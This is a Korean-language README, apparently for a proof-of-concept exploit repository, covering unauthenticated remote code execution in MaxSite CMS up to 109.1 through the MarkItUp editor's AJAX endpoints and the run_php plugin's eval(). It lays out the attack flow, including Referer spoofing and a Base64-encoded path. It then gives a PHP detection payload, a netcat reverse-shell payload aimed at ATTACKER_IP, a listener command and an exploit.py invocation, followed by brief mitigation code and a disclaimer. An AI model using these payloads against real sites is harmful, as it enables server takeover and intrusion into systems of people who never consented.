
MaxSite CMS <= 109.1의 MarkItUp 에디터 AJAX 엔드포인트를 통한 인증되지 않은 원격 코드 실행에 대한 개념 증명 익스플로잇으로, 탐지 및 리버스 셸 페이로드를 포함합니다.
MaxSite CMS ≤ 109.1에서 발견된 인증되지 않은 원격 코드 실행(RCE) 취약점입니다.
이 결함은 MarkItUp 편집기 플러그인의 AJAX 엔드포인트에서 약한 권한 검사와 run_php 플러그인이 사용자 제공 PHP 코드를 안전하지 않게 실행하는 것이 결합되어 발생합니다.
이 취약점은 MarkItUp 편집기 플러그인의 다음 파일에 영향을 미칩니다:
preview-ajax.phpautosave-post-ajax.php이 엔드포인트는:
run_php 플러그인에 전달eval()을 사용하여 [php]...[/php] 숏코드 실행공격자는 /ajax/ 경로에 Base64로 인코딩된 내부 경로와 악성 PHP 페이로드를 data 매개변수에 포함한 조작된 POST 요청을 보낼 수 있으며, 그 결과는 다음과 같습니다:
graph TD
A["Attacker"] -->|"Malicious POST Request"| B["AJAX Endpoint"]
B -->|"Referer Spoofing"| C["preview-ajax.php"]
C -->|"Unsanitized Input"| D["run_php Plugin"]
D -->|"eval() Execution"| E["Arbitrary PHP Execution"]
E -->|"Command Execution"| F["Compromised Server"]
run_php 플러그인 활성화(일반적인 기본값)eval()을 허용하는 PHP 구성Python 3 개념 증명 익스플로잇(exploit.py)이 포함되어 있습니다.
[php]echo 'RCE CONFIRMED - ' . phpversion();[/php]
[php]system('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP ATTACKER_PORT >/tmp/f');[/php]
nc -lvnp 9001
python3 exploit.py http://target.com --lhost 10.10.14.22 --lport 9001
run_php 플러그인 비활성화취약한 파일에 인증 검사를 추가합니다:
if (!is_login()) {
die('Access denied');
}
mso_checkreferer();
이 프로젝트는 다음을 위해 제공됩니다:
⚠️ 명시적 허가 없이 시스템에 사용하지 마십시오.
저자는 오용이나 손해에 대해 책임을 지지 않습니다.
Mohammed Idrees Banyamer 요르단 🇯🇴 보안 연구원
banyamer_security — Silent Hunter • Shadow Presence
2026년 3월